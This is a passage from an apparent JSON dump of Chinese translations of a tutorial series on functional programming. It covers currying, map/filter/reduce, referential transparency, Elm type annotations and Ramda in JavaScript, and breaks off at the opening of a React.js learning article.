**_generalBracket_** 时，都必须传入大括号：\n\n    bracketedJoe =\n        generalBracket \"{\" \"Joe\" \"}\"\n\n    doubleBracketedJoe =\n        generalBracket \"{{\" \"Joe\" \"}}\"\n\n我们实际上想要的是两全其美。\n\n如果我们重新对 **_generalBracket_** 函数的参数进行排序，就可以创建柯里化后的 **_bracket_** 和 **_doubleBracket_** 函数了。\n\n    generalBracket prefix suffix str =\n        prefix ++ str ++ suffix\n\n    bracket =\n        generalBracket \"{\" \"}\"\n\n    doubleBracket =\n        generalBracket \"{{\" \"}}\"\n\n注意到通常将静态参数放到前面，如 **_prefix_** 和 **_suffix_**，而可变参数尽量放到最后，如 **_str_**，这样，就可以简单地创建出 **_generalBracket_** 函数的特定版本了。\n\n> 参数顺序对全面柯里化来说非常重要。\n\n还注意到 **_bracket_** 和 **_doubleBracket_** 函数都是免参数（point-free）写法，如 **_str_** 参数是隐式表明的。**_bracket_** 和 **_doubleBracket_** 函数都在等待最后参数的传入。\n\n现在就可以像之前那样使用了：\n\n    bracketedJoe =\n        bracket \"Joe\"\n\n    doubleBracketedJoe =\n        doubleBracket \"Joe\"\n\n但这次我们使用的是通用化的柯里函数：**_generalBracket_**。\n\n#### 常用的功能函数\n\n![](https://cdn-images-1.medium.com/max/1600/1*I7nCgMOzuVxKPj_amfQxNw.png)\n\n让我们来看三个函数式（编程）语言里的常用函数。\n\n但首先，来看看下面的 JavaScript 代码：\n\n    for (var i = 0; i < something.length; ++i) {\n        // do stuff\n    }\n\n这段代码有一个主要的错误，但并不是 bug。问题在于这个代码是一个模板代码，就是那些一遍又一遍重复写的代码。\n\n如果你是使用像 Java、C#、JavaScript、PHP 和 Python 等这样的命令式（编程）语言。你就会发现相比其他语言你会写更多这样的模板代码。\n\n这就是这段代码的问题所在。\n\n所以让我们来解决它。将它放到一个函数里（或者几个函数），然后再也不写 for 循环了。好吧，几乎不写，至少直到我们移步使用一个函数式（编程）语言。\n\n首先从修改一个 **_things_** 数组来开始：\n\n    var things = [1, 2, 3, 4];\n    for (var i = 0; i < things.length; ++i) {\n        things[i] = things[i] * 10; // MUTATION ALERT !!!!\n    }\n    console.log(things); // [10, 20, 30, 40]\n\n呃！！又是变量！\n\n再试一次，这次不再去更改 **_things_** 数组了：\n\n    var things = [1, 2, 3, 4];\n    var newThings = [];\n\n    for (var i = 0; i < things.length; ++i) {\n        newThings[i] = things[i] * 10;\n    }\n    console.log(newThings); // [10, 20, 30, 40]\n\n好了，我们没有更改 **_things_** 数组但技术上来说我们更改了 **_newThings_** 数组。目前为止，我们将忽略这个问题。毕竟我们在使用 JavaScript，一旦我们移步使用一个函数式语言，就不可以更改了。\n\n这里的重点是弄明白这些函数是怎么工作的，以及它们怎么来帮助我们减少代码噪音（冗余等）。\n\n来把这段代码放到一个函数里。接下来将调用我们第一个常用函数 **_map_**，它会将旧数组里的每个值映射成新值放到一个新的数组里。\n\n    var map = (f, array) => {\n        var newArray = [];\n\n        for (var i = 0; i < array.length; ++i) {\n            newArray[i] = f(array[i]);\n        }\n        return newArray;\n    };\n\n注意到 **_f_** 函数，它作为参数传入，这样就可以让 **_map_** 函数对**数组**里的每一项进行任何我们想要的操作。\n\n现在我们就可以使用 **_map_** 来改写之前的代码了：\n\n    var things = [1, 2, 3, 4];\n    var newThings = map(v => v * 10, things);\n\n看看，没有 for 循环，而且更简单易读，这就是（关于之前的代码错误）原因。\n\n好吧，技术上来说，**_map_** 函数里是有 for 循环的，但至少我们不必再写一大堆模板代码了。\n\n现在来写另外一个常用函数，从一个数组当中**过滤**一些数据：\n\n    var filter = (pred, array) => {\n        var newArray = [];\n        for (var i = 0; i < array.length; ++i) {\n            if (pred(array[i]))\n                newArray[newArray.length] = array[i];\n        }\n        return newArray;\n    };  \n    \n注意谓词函数 **_pred_** ，如果通过验证返回 TRUE，否则返回 FALSE。\n\n下面展示了如何使用 **_filter_** 函数来过滤奇数：\n    \n    var isOdd = x => x % 2 !== 0;\n    var numbers = [1, 2, 3, 4, 5];\n    var oddNumbers = filter(isOdd, numbers);\n    console.log(oddNumbers); // [1, 3, 5]\n\n使用新的 **_filter_** 函数比用 for 循环来手写实现简单太多了。\n\n最后一个常用函数叫做 **_reduce_**。一般来说，它用来接收一个列表并将其减少到一个值，但实际上可以用它做更多的事情。\n\n在函数式（编程）语言里这个函数通常叫做 **_fold_**。\n\n    var reduce = (f, start, array) => {\n        var acc = start;\n        for (var i = 0; i < array.length; ++i)\n            acc = f(array[i], acc); // f() takes 2 parameters\n        return acc;\n    });\n\n这个 **_reduce_** 函数接收一个（自定义）减少函数 **_f_**、一个初始 **_start_** 开始值和一个 **_array_** 数组。\n\n注意到这个减少函数 **_f_**，接收两个参数，**_array_** 数组的当前项，以及累计器 **_acc_**。每次迭代，它都将使用这两个参数产生一个新的累计器，最后一次迭代得到的累计器将会被返回。\n\n一个例子将帮助我们更好地来理解它如何工作：\n\n    var add = (x, y) => x + y;\n    var values = [1, 2, 3, 4, 5];\n    var sumOfValues = reduce(add, 0, values);\n    console.log(sumOfValues); // 15\n\n注意到 **_add_** 函数接收两个参数并把它们相加。而  **_reduce_** 函数正是期望一个接收两个参数的函数，所以它们可以一起正常运行。\n\n我们将初始 **_start_** 值设为0，并将 **_values_** 数组传入进行计算。**_reduce_** 函数内部，**_values_** 数组各项的总值作为累计器循环计算。最后的累计值返回为 **_sumOfValues_**。\n\n每个这些函数，**_map_**、**_filter_** 和 **_reduce_**，都让我们可以在不必写 for 循环的情况下对数组进行常用操作。\n\n但是在函数式（编程）语言里，它们甚至更有用，因为没有循环体只有递归。迭代函数不只是非常有用，它们是必要的。\n\n#### 我的脑子！！！\n\n![](https://cdn-images-1.medium.com/max/1600/1*IK5485-iZaHeZRfP8aWmYg.png)\n\n目前为止足够了.\n\n在这个系列文章的随后部分，我将谈到有关引用完整性、执行顺序、类型以及其他更多的东西。\n\n下一篇: [第五部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-5.md)\n\n**如果你喜欢这篇文章，点击下面的![💚](https://linmi.cc/wp-content/themes/bokeh/images/emoji/1f49a.png)，其他人就可以在这里看到了哦。**\n\n如果你想加入 Web 开发者学习社区并帮助其他人在 Elm 里用函数式编程开发 Web 应用，请看我的 Facebook Group，**学习 Elm 编程** [https://www.facebook.com/groups/learnelm/](https://www.facebook.com/groups/learnelm/)。\n"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-5.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 5)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-5-c70adc9cf56a#.ewys56rfy)\n* 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[cyseria](https://github.com/cyseria)，[malcolmyu](https://github.com/malcolmyu)\n\n# 准备充分了嘛就想学函数式编程？(第五部分)\n\n\n迈出理解函数式编程概念的第一步是最重要的，有时也是最难的一步。但是不一定特别难。只要选对了思考方法就不难。\n\n前几部分: [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-1.md), [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-2.md), [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-3.md), [第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-4.md)\n\n#### 引用透明\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*4QRVgRMKN2che7VG8H5FxA.png)\n\n\n\n\n\n**引用透明** 是一个很酷炫的术语，它指的是一个纯函数能够安全地被它的表达式所替代。下面用一个例子来解释这个术语。\n\n在代数中当你有以下这个公式时：\n\n    y = x + 10\n\n并且已知：\n\n    x = 3\n\n你可以将 **_x_** 代入方程来得到：\n\n    y = 3 + 10\n\n此时这个方程依旧成立。我们可以对纯函数进行相同类型的代入。\n\n这里是一个 Elm 的函数，它将单个引号放在提供的字符串周围：\n\n    quote str =\n        \"'\" ++ str ++ \"'\"\n\n这里有一些使用了它的代码：\n\n    findError key =\n        \"Unable to find \" ++ (quote key)\n\n在这里 **_findError_** 创建了一个当搜索 **_key_** 不成功时会产生的错误信息。\n\n既然 **_quote_** 函数是纯的，我们可以简单地用 **_quote_** 的函数体（只是个表达式）来替代 **_findError_** 中的函数调用：\n\n    findError key =\n       \"Unable to find \" ++ (\"'\" ++ str ++ \"'\")\n\n这就是我称作 **反向重构** （对我来说意味着更多）的东西，即一个可以被程序员或程序（例如：编译器和测试程序）用来分析代码的过程。\n\n这尤其对递归函数的分析有帮助。\n\n#### 执行顺序\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*k8zgyx2Mhlg6F82aSR9U4A.png)\n\n\n\n\n\n大多数程序是单线程的，也就是说，一次有且只有一段代码被执行。即使你有一个多线程化的程序，其中的多数线程会在等待 I/O 完成时被阻塞，比如说，文件、网络等。\n\n这就是在写代码时，我们自然地使用有序的步骤来思考的一个原因：\n\n    1. 拿出面包\n    2. 将两片面包放入吐司机\n    3. 选择焦脆程度\n    4. 压下控制杆\n    5. 等待弹出吐司\n    6. 移走吐司\n    7. 拿出黄油\n    8. 拿切黄油的刀\n    9. 将黄油在吐司上涂匀\n\n在这个例子里，有两个独立的操作：拿黄油和烤面包。它们只在步骤 9 变成互相依赖的。\n\n我们可以并发地执行步骤 7 、 8 和 步骤 1 ～ 6 ，因为它们是互相独立的。\n\n然而一旦我们这么做了，事情就变复杂了：\n\n    线程 1\n    --------\n    1. 拿出面包\n    2. 将两片面包放入吐司机\n    3. 选择焦脆程度\n    4. 压下控制杆\n    5. 等待弹出吐司\n    6. 移走吐司\n\n    线程 2\n    --------\n    1. 拿出黄油\n    2. 拿切黄油的刀\n    3. 等待线程 1 完成\n    4. 将黄油在吐司上涂匀\n\n如果线程 1 失败了，线程 2 会发生什么？有什么可以协调这两个线程的机制吗？谁拥有吐司呢？线程 1， 线程 2， 亦或两者？\n\n不思考这些复杂的东西，让我们的程序继续单线程化，是更简单的举措。\n\n但是到了提升我们程序中任何一丁点可能的效率都值得的时候，我们必须使用极大的努力来写多线程软件。\n\n然而对于多线程现在有两个主要的问题。一是多线程化的程序难写、难读、难分析、难测试而且难调试。\n\n二是某些语言并不支持多线程，比如 JavaScript ，又或者有些语言支持但支持得很差。\n\n但是，假若顺序并不重要且所有东西都并行地被执行呢？\n\n尽管这听起来很疯狂，它并不如它听起来那样混乱。让我们看看一些 Elm 代码，来阐述这个吧：\n\n    buildMessage message value =\n        let\n            upperMessage =\n                String.toUpper message\n\n            quotedValue =\n                \"'\" ++ value \"'\"\n\n        in\n            upperMessage ++ \": \" ++ value\n\n这里 **_buildMessage_** 接收 **_message_** 和 **_value_** 两个参数，生成了一个大写的 **_message_** 、一个冒号和在单引号里的 **_value_** 。\n\n注意 **_upperMessage_** and **_quotedValue_** 是怎么相互独立的。我们怎么知道这些呢？\n\n对于这种独立性而言，有两个条件是必须的。第一个条件是，它们必须是纯函数。这很重要，因为它们必须要不被另一个的执行所影响。\n\n如果它们不纯，我们永远不会知道它们是独立的。这样的话，我们必须依赖于它们在程序内被调用的顺序来确定它们的执行顺序。这就是所有的命令式语言的工作机制。\n\n第二个独立的条件是，一个函数的输出不被另一个作为输入使用。如果不满足这个条件，我们需要等待一个结束执行来使另一个开始执行。\n\n当前情况下的 **_upperMessage_** 和 **_quotedValue_** 都是纯的且互不需要对方的输出的。\n\n因此，这两个函数可以在 **任意顺序** 下执行。\n\n编译器能够在不需要程序员的任何帮助的情况下作出决定，这只可能在纯函数语言里发生。因为确定非纯函数副作用的影响这件事，就算有可能性，也难度太高。\n\n> 纯函数语言的执行顺序可以由编译器决定。\n\n考虑到 CPU 并不会变得越来越快，这种特性显得极有优势。而且，生产厂商正在添加越来越多的内核，这意味着代码可以在硬件层面并行执行。\n\n不幸的是，如果使用命令式语言，我们只能用一种粗糙的方式来充分利用内核优势，但是这么做需要大规模地改变我们程序的架构。\n\n使用纯函数式语言，我们有机会在一个细粒度层面自动地利用 CPU 内核的优势，而不改变任何一行代码。\n\n#### 类型标注\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*btL9u2b5VZwivpqNbfoVmw.png)\n\n\n\n\n\n在静态类型语言中，类型在行内定义。以下 Java 代码可以说明：\n\n    public static String quote(String str) {\n        return \"'\" + str + \"'\";\n    }\n\n请注意类型定义和函数定义发生在同一行。如果你有范型的话，情况会变得更糟：\n\n    private final Map getPerson(Map people, Integer personId) {\n       // ...\n    }\n\n我已经加粗了类型，使它们更加明显，但是它们仍旧与函数定义相干扰。你需要仔细阅读它来找到变量名。\n\n使用动态类型语言的话，这就不是个问题了。在 JavaScript 里，我们像这样写代码：\n\n    var getPerson = function(people, personId) {\n        // ...\n    };\n\n没有讨厌的类型信息挡路，这显得易读得多。唯一的问题就是我们牺牲了类型安全性。我们可能会很容易地传入相反的参数，即为 **_people_** 传入一个 _Number_ 类型的参数、为 **_personId_** 传入一个 _Object_ 参数。\n\n直到程序执行后，我们才会找出这里面的问题，这可能发生在代码已经进入生产环境好几个月后。这种情况不会在 Java 里发生，因为它没法通过编译。\n\n但要是我们可以同时拥有这两个代码世界的精华呢： JavaScript 的简洁性和 Java 的安全性。\n\n事实证明我们可以。以下是一个带有类型标注的 Elm 函数：\n\n    add : Int -> Int -> Int\n    add x y =\n        x + y\n\n请注意类型信息是怎么放在单独一行的。这种分离创造了一个不同的世界。\n\n现在你可能会觉得类型标注有错字，因为在我初瞥时我也这么以为。我当时认为第一个 **_->_** 应该要是一个逗号，然而其实并没有错字。\n\n当你意识到它带有隐含的括号时，就能感受到它的一点意义了：\n\n    add : Int -> (Int -> Int)\n\n这条语句是指 **_add_** 是一个函数，它接收 _单个_ **_Int_** 类型的  参数，返回一个接收 _单个_ **_Int_** 类型参数并返回一个 **_Int_** 值的函数。\n\n以下是另一个将隐含的括号显示出来的类型标注：\n\n    doSomething : String -> (Int -> (String -> String))\n    doSomething prefix value suffix =\n        prefix ++ (toString value) ++ suffix\n\n这条语句说的是 **_doSomething_** 是一个函数，它接收 _单个_ 类型为 **_String_** 的参数，返回一个接收以 **_Int_** 为类型的 _单个_ 参数和返回一个 **_String_** 的函数。\n\n请注意所有的函数是怎样接收 _单个_ 参数的。这是因为每个 Elm 函数都是柯里化的。\n\n既然括号总是隐含在右边，它们不是必需的。所以我们可以简单地写成：\n\n    doSomething : String -> Int -> String -> String\n\n当我们将函数作为参数传入的时候，括号就是必需的了。如果没有括号，类型标注将会显得模棱两可，比如：\n\n    takes2Params : Int -> Int -> String\n    takes2Params num1 num2 =\n        -- do something\n\n完全不同于：\n\n    takes1Param : (Int -> Int) -> String\n    takes1Param f =\n        -- do something\n**_takes2Param_** 是一个需要两个参数的函数，一个 **_Int_** 参数和另一个 **_Int_** 参数。然而， **_takes1Param_** 需要一个参数，即一个接收  **_Int_** 和返回 一个 **_Int_** 的函数。\n\n以下是 **_map_** 的类型标注：\n\n    map : (a -> b) -> List a -> List b\n    map f list =\n        // ...\n\n这里括号是必需的，因为 **_f_** 是 **_(a -> b)_** 类型的，也就是说，它是一个接受单个 **_a_** 类型参数并且返回 **_b_** 类型的值的函数。\n\n此处类型 **_a_** 是任意类型。当类型是大写的，它就是显式类型，比如 **_String_**。当类型是小写的，它可以是任意类型。此处 **_a_** 可以是 **_String_** 也同样可以是 **_Int_**。\n\nI如果你看到 **_(a -> a)_**， 那就意味着输入类型和输出类型 **必须** 是一样的。它们是什么不重要，但是它们必须匹配。\n\n但是在 **_map_** 的情况下，我们有 **_(a -> b)_**。这意味着它 **可以** 返回一个不同的类型但它同样 **可以** 返回相同的类型。\n\n然而一旦 **_a_** 的类型确定了， **_a_** 在整个签名里都必须是这个类型。例如，如果 **_a_** 是 **_Int_** 并且 **_b_** 是 **_String_** 那么签名等同于：\n\n    (Int -> String) -> List Int -> List String\n\n此处所有的 **_a_** 已经被 **_Int_** 替换了，并且所有的 **_b_** 也被 **_String_** 替换了。\n\n**_List Int_** 类型指的是一个 **_Int_** 列表， **_List String_** 类型指的是一个 **_String_** 列表。如果你用过 Java 或其他语言里的范型，那么这个概念你应该熟悉。\n\n#### 我的大脑！！！！\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*IK5485-iZaHeZRfP8aWmYg.png)\n\n\n\n\n\n这一部分就到这里吧，相信你已经学到了足够多的东西。\n\n在这篇文章的最后一部分，我会谈论的是你可以如何将你学到的这些东西应用在你的日常工作中，譬如函数式 JavaScript 和 Elm。\n\n下一部分： [第六部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-6.md)\n\n如果你想加入一个 web 开发者社区，学习并互相帮助使用 Elm 语言进行函数式编程，请加入我们的 Facebook 小组， **_Learn Elm Programming_** [https://www.facebook.com/groups/learnelm/](https://www.facebook.com/groups/learnelm/)\n"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-6.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 6)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-6-db502830403#.2bgj637a5)\n* 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[DeadLion](https://github.com/DeadLion)\n* 校对者：[cyseria](https://github.com/cyseria), [luoyaqifei](https://github.com/luoyaqifei)\n\n# 准备充分了嘛就想学函数式编程？(Part 6)\n\n\n第一步，理解函数式编程概念是最重要的一步，同时也是最难的一步。如果你从正确的角度或方法来理解的话，它也未必会有那么难。\n\n回顾之前的部分: [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-1.md), [Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-2.md), [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-3.md), [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-4.md), [Part 5](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-5.md)\n\n#### 现在该做什么?\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*yVZA0aT5t6crvBPAMn46Kg.png)\n\n\n\n\n\n现在你已经学会了所有这些新东西了，你可能在想，“现在该干什么？我如何在日常编程中使用它？”\n\n这得看情况。如果你会使用纯函数式语言（如 Elm 或 Haskell）编程，那么你可以尝试所有这些想法。这些语言能够很容易实现这些想法。\n\n如果你只会使用 Javascript 这样的命令式语言编程（我们中大多数人肯定都是），那么你仍然可以使用很多你学到的知识，但是还需要更多的训练。\n\n\n#### Javascript 函数式\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*w_gG-CXQX4TV3B5bN24nqg.png)\n\n\n\n\n\nJavascript 有许多特性能让你以近乎函数式的方式编程。它不是纯粹的函数式，但你可以从语言中得到不变性，甚至更多的库。\n\n它不是最佳的，但如果你必须使用的时候，那为什么不利用一些函数式语言的优点呢？\n\n**不变性**\n\n首先要考虑的是不变性。 在 ES2015，或者也叫 ES6，因为它有一个被称为 **常量** 的新关键字。这意味着一旦设置了变量，则无法修改该变量：\n\n    const a = 1;\n    a = 2; // this will throw a TypeError in Chrome, Firefox or Node\n           // but not in Safari (circa 10/2016)\n\n这里的 **_a_** 被定义为常量，意味着一旦赋值无法再改变。 这就是为什么 **_a = 2_** 会抛出异常 (除了 Safari)。\n\nJavascript **常量** 有个问题就是不变性不够深入。以下示例说明了其限制：\n\n    const a = {\n        x: 1,\n        y: 2\n    };\n    a.x = 2; // NO EXCEPTION!\n    a = {}; // this will throw a TypeError\n\n注意 **_a.x = 2_** 并没有抛出异常。 **_const_** 关键字的不变性只对变量 **_a_** 生效。 **_a_** 所指向的任何变量都可以改变。\n\n这是非常令人失望的，因为它本可以让 Javascript 更好。\n\n那么我们如何从 Javascript 中获得不变性呢?\n\n很不幸，我们只能通过一个库 [Immutable.js](https://facebook.github.io/immutable-js/) 来实现。\n这可能给我们更好的不变性，但可悲的是，它实现的方式使我们的代码看起来更像 Java。\n\n**柯里化和组合**\n\n在本系列之前的文章，我们学习了如何编写柯里化的功能。这是一个更复杂的例子：\n\n    const f = a => b => c => d => a + b + c + d\n\n请注意，我们不得不手工编写柯里化部分。\n\n调用 **_f,_** 我们必须写成:\n\n    console.log(f(1)(2)(3)(4)); // prints 10\n\n但是这么多的括号，足以让 Lisp 程序员哭泣了！（译者注：Lisp 语句中会使用很多括号）\n\n有许多库能够简化这一过程。 我最喜欢的一个是 [Ramda](http://ramdajs.com/).\n\n使用 Ramda 我们可以这样写:\n\n    const f = R.curry((a, b, c, d) => a + b + c + d);\n    console.log(f(1, 2, 3, 4)); // 打印 10\n    console.log(f(1, 2)(3, 4)); // 也打印 10\n    console.log(f(1)(2)(3, 4)); // 也打印 10\n\n函数定义并没有什么改进，但我们已经消除了对所有括号的需求。请注意，我们可以应用与我们每次调用 **_f_** 时一样多的参数。\n\n\n通过 Ramda, 我们可以重写 [Part 3](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-3-1b0fd14eb1a7)和 [Part 4](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-4-18fbe3ea9e49) **_mult5AfterAdd10_** 功能:\n\n    const add = R.curry((x, y) => x + y);\n    const mult5 = value => value * 5;\n    const mult5AfterAdd10 = R.compose(mult5, add(10));\n\n事实证明，Ramda 有很多帮助函数来做这些事情，例如。**_R.add_** 和 **_R.multiply_**，这意味着我们可以少写代码：\n\n    const mult5AfterAdd10 = R.compose(R.multiply(5), R.add(10));\n\n**Map, Filter 和 Reduce**\n\nRamda 也有它自己的 **_map_**, **_filter_** 和 **_reduce_**。 尽管这些功能在普通 Javascript **_Array.prototype_** 中已经存在， Ramda 的版本功能更加丰富:\n\n    const isOdd = R.flip(R.modulo)(2);\n    const onlyOdd = R.filter(isOdd);\n    const isEven = R.complement(isOdd);\n    const onlyEven = R.filter(isEven);\n\n    const numbers = [1, 2, 3, 4, 5, 6, 7, 8];\n    console.log(onlyEven(numbers)); // prints [2, 4, 6, 8]\n    console.log(onlyOdd(numbers)); // prints [1, 3, 5, 7]\n\n**_R.modulo_** 用了两个参数. 第一个是 **_dividend_** (被除数) ，第二个参数是 **_divisor_** (除数)。\n\n **_isOdd_** 函数只是除以 2 的余数。余数为 0 是 **_falsy_**, 不是奇数，余数为 1 则是 **_truthy_**，奇数。\n我们翻转 **_modulo_** 的第一和第二参数，使得我们可以指定 2 作为除数。\n\n **_isEven_** 功能只是 **_isOdd_** 的 **_complement（补集）_**。\n\n **_onlyOdd_** 函数是通过 **_isOdd_** 来 **断言（只返回布尔类型的方法）** 的 **过滤器** 。它在等待 numbers 数组，即它在执行前需要的最后一个参数。\n\nThe **_onlyEven_** 是一个使用 **_isEven_** 来断言的 **过滤器** 。\n\n当我们将 **_numbers_** 传给 **_onlyEven_** 、**_onlyOdd_** 、**_isEven_** 和 **_isOdd_** 方法，获取它们最终的参数，最后执行然后返回我们期望的结果。\n\n#### Javascript 缺点\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*GjSzT5C7dKD0GPgSZVFGIw.png)\n\n\n\n\n\nJavascript 已经有很多的库，语言也得到增强，它仍然需要面对残酷的现实，它是一种命令式语言，对大家来说似乎能够做任何事情。\n\n大多数前端人员在浏览器中一直使用着 Javascript ，因为一直以来只有这一种选择。但现在许多开发人员逐渐不再直接编写 Javascript。\n\n取而代之，他们用不同的语言编写和编译，或者更准确的说，是用其他语言转换成 Javascript。\n\nCoffeeScript 就是这些语言中的第一种。如今，Angular 2 中采用了 Typescript。Babel 也是一种 Javascript 转换编译器。\n\n越来越多的人正在采用这种方法用于生产环境。\n\n但是这些语言还是基于 Javascript ，而且只是稍微改进了一点点。为什么不从一个纯函数式语言转换到 Javascript？\n\n#### Elm\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*oVJSlb6bJfNCXYacQmcvew.png)\n\n\n\n\n在这个系列里，我们了解了 Elm 来帮助理解函数式编程。\n\n**但是什么才是 Elm？我又该怎么用它呢？**\n\nElm 是一种纯函数式编程语言，最终编译成 Javascript ，所以你可以用它来创建 Web 应用，使用 [The Elm Architecture](https://guide.elm-lang.org/architecture/)，又叫 TEA（这个架构激励了 Redux 的开发者）。\n\n\nElm 程序没有任何运行时错误。\n\n像 [NoRedInk](https://www.noredink.com/) 这样的公司已经在生产环境中使用了 Elm，Elm 的创造者 Evan Czapliki 现在工作的公司(他之前在 [Prezi](https://prezi.com/) 公司工作)。\n\n看看这个访谈，[6 个月应用 Elm 在生产环境](https://www.youtube.com/watch?v=R2FtMbb-nLs), 由来自 NoRedInk 的 Richard Feldman 和 Elm 的布道者讲解。\n\n**我需要用 Elm 替换我所有的 Javascript 吗?**\n\n不，你可以逐渐替换。 完整的看看这篇文章 [How to use Elm at Work](http://elm-lang.org/blog/how-to-use-elm-at-work)，来学习更多知识。\n\n**为什么学习 Elm?**\n\n1.  函数式编程是限制和自由并存的。它限制了你可以做什么（大部分是保证你不会“误伤”自己)，但是同时也让你远离 bug 和错误的设计决策，因为所有的 Elm 程序遵循 Elm Architecture，一个函数式响应编程模型。\n2.  函数式编程能让你成为一个更好的程序员。本文中的想法只是冰山一角。 你真的需要在实践中看到，它们是如何让你的程序缩小尺寸，增加稳定性。\n3.  Javascript 最初是在 10 天内构建的，然后在过去的二十年中修补，以成为一种有点功能，有点面向对象和完全命令式的编程语言。\n    Elm 的设计吸取了 Haskell 社区过去 30 年工作中的知识，以及数十年的数学和计算机科学经验。\n    Elm 架构（TEA）是经过多年设计和完善的，是 Evan 在功能响应式性编程中论文的结果。看看 [Controlling Time and Space（控制时间和空间）](https://www.youtube.com/watch?v=Agu6jipKfYw)，以了解这个设计的构思。\n4.  Elm 专为前端 Web 开发人员而设计。 它的目的是使他们的工作更容易。 观看 [Let’s Be Mainstream（让我们成为主流）](https://www.youtube.com/watch?v=oYk8CKH7OhE)，更好地了解这一目标。\n\n#### 未来\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*0FpreasFPaa5rYns6Mpe6w.png)\n\n\n\n\n\n不可能知道将来会怎样，但我们可以做一些猜测。下面是一些我的：\n\n> 将会出现一个明确的语言，编译为 Javascript。\n\n> 已经存在了 40 多年的函数式编程思想将被重新发现，以解决当前的软件复杂性问题。\n\n> 硬件的状态，例如千兆字节的便宜内存和快速处理器，将使函数式技术成为可行。\n\n> CPU 不会变得更快，但内核的数量将继续增加。\n\n> 可变状态将成为复杂系统中的最大问题之一。\n\n我写这系列文章，因为我相信未来是函数式编程的未来，在过去的几年中，我在努力学习它(我还在学习)。\n\n我的目标就是帮助别人比我更容易和更快的去学习这些概念，帮助别人成为更好的程序员，以便他们将来能有更好的就业前景。\n\n即使我的预测，Elm 在未来将是一门伟大的语言是错误的，我可以肯定地说，函数式编程和 Elm 也会在未来的画卷上留下浓墨重彩的一笔。\n\n我希望在阅读完本系列以后，你会对你的能力和这些概念的理解感到更加自信。\n\n在今后的工作中，祝你好运。\n\n\n如果你想加入一个 web 开发者社区学习以及相互帮助使用 Elm 函数式编程开发 web 应用的话，来加入我的 Facebook Group， **_Learn Elm Programming_**[https://www.facebook.com/groups/learnelm/](https://www.facebook.com/groups/learnelm/)\n"
  },
  {
    "path": "TODO/so-you-want-to-learn-react-js.md",
    "content": "> * 原文地址：[So you want to learn React.js?](https://edgecoders.com/so-you-want-to-learn-react-js-a78801d3cd4d)\n> * 原文作者：[Samer Buna](https://edgecoders.com/@samerbuna?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-learn-react-js.md](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-learn-react-js.md)\n> * 译者：[tvChan](https://github.com/tvChan)\n> * 校对者：[kangkai124](https://github.com/kangkai124) [jonjia](https://github.com/jonjia)\n\n# 听说你想学 React.js ？\n\n![](https://cdn-images-1.medium.com/max/2000/1*Wz7GxmF1-xFe5zvNTHETxQ.png)\n\n首先，你需要接受一个事实，就是为了使用 React 你需要学习除了 React 之外更多的知识。这是件好事，React 这个库在某些场景下使用是非常棒的，但它并不能解决所有问题。\n\n而且，请先确认你现在是否在学习 React，这主要是为了不让你对学习 React 本身感到困惑。一个熟悉 HTML 和其他一种编程语言的程序员，他应该能够在一天或更短时间内 100% 的掌握 React。一个新手程序员应该在一个星期就能掌握 React。当然，这不包括用来完善 React 的工具及其他库，例如 Redux 和 Relay。\n\n有序地学习是一件重要的事情，这个顺序会根据你掌握的技能而有所不同。不言而喻，首先你需要对 JavaScript 本身有清晰的理解，当然， HTML 也是。我想在这详细说明下，如果你不知道如何使用数组的 map 或 reduce 方法，或者你不理解闭包，[回调](https://edgecoders.com/asynchronous-programming-as-seen-at-starbucks-fc242cf16aa#.wb5c6opp7)的概念，又或者如果在 JavaScript 代码中看到“this”使你感到困惑。那么你还没有准备好学习 React ，而且在 JavaScript 的领域你还有很多东西需要学习。\n\n首先更新 JavaScript 的知识并不是一件坏事，主要是你需要学习 ES2015，并不是因为 React 依赖它（事实也并不依赖 